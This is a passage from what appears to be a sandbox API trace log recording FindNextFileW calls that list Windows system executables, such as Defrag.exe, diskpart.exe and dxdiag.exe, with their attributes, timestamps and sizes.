lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbf2c800, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdbf2c800, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde0beb50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="ddodiag.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbcdff23, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xbbcdff23, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde10a640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2cc00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="Defrag.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb939178, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdb939178, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1b400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="DeviceDisplayObjectProvider.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ff3a56c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x5ff3a56c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="DeviceEject.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbe32659, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbbe32659, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde17d230, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="DevicePairingWizard.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82848ae7, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82848ae7, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde1efe20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="DeviceProperties.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fb9db19, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1fb9db19, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde214810, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="DFDWiz.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936a25bf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936a25bf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936a25bf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="dfrgui.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2c2b99, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xbe2c2b99, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xdff65630, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="dialer.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9a95e4b, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xa9a95e4b, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xdffb1120, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="diantz.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60e1adc0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x60e1adc0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdffd5b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="dinotify.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938917a3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x938917a3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x938b7903, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="diskpart.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c984a5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x13c984a5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe00bb2f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="diskperf.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a80986, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93a80986, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93a80986, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x58c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="diskraid.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8837bef, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xe8837bef, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0369380, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="Dism.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd81ea4a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd81ea4a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe0400960, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="dispdiag.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f9a6bc8, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f9a6bc8, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe057d720, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x81400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="DisplaySwitch.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f6834a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f6834a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f6834a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="djoin.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4ae4b2, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee4ae4b2, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe06fa4e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="dllhost.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed7e2f74, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xed7e2f74, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe07215e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="dllhst3g.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x390ff8fb, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x390ff8fb, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe0981470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="dnscacheugc.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0a1b160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="doskey.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89abe568, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x89abe568, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe0afe230, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="dpapimig.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829eb9e6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x829eb9e6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe0b4c430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="DpiScaling.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6e5b99f, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xd6e5b99f, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe0b4c430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="dpnsvr.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32347214, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x32347214, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0c7aff0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="driverquery.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67fa17, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6d67fa17, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0c2f500, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x19200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="drvinst.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f4b6133, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x9f4b6133, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="dvdplay.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa21c9e46, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xa21c9e46, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe1626950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="dvdupgrd.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8366e2b, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe8366e2b, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe1674b50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="dwm.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58ecbbdd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x58ecbbdd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe16c0640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x25400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="DWWIN.EXE", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8749092f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8749092f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe17a3710, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x53e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="dxdiag.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a6d10, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93a6d10, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe18d49e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x40c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="Dxpserver.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe61b0ca, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbe61b0ca, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe18fbae0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="Eap3Host.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb012a3c2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb012a3c2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe19204d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="efsui.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38d5f61f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x38d5f61f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe1cff830, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="EhStorAuthn.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x836eb2a5, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x836eb2a5, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1e7c5f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="esentutl.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f2d527a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9f2d527a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9f34769a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x57e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="eudcedit.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62761073, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x62761073, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1eef1e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="eventcreate.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09c917, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf09c917, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1f13bd0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="eventvwr.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f129be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xb0f129be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe1fad8c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="expand.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a9c0d8, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xb0a9c0d8, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2742770, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xf400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="extrac32.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316ee0ed, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x316ee0ed, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe278e260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="fc.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe278e260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="find.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ebf32f5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="findstr.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84092633, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84092633, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe27b5360, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="finger.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872ff437, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x872ff437, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x872ff437, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="fixmapi.exe", cAlternateFileName="")) returned 1 [0025.955] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, 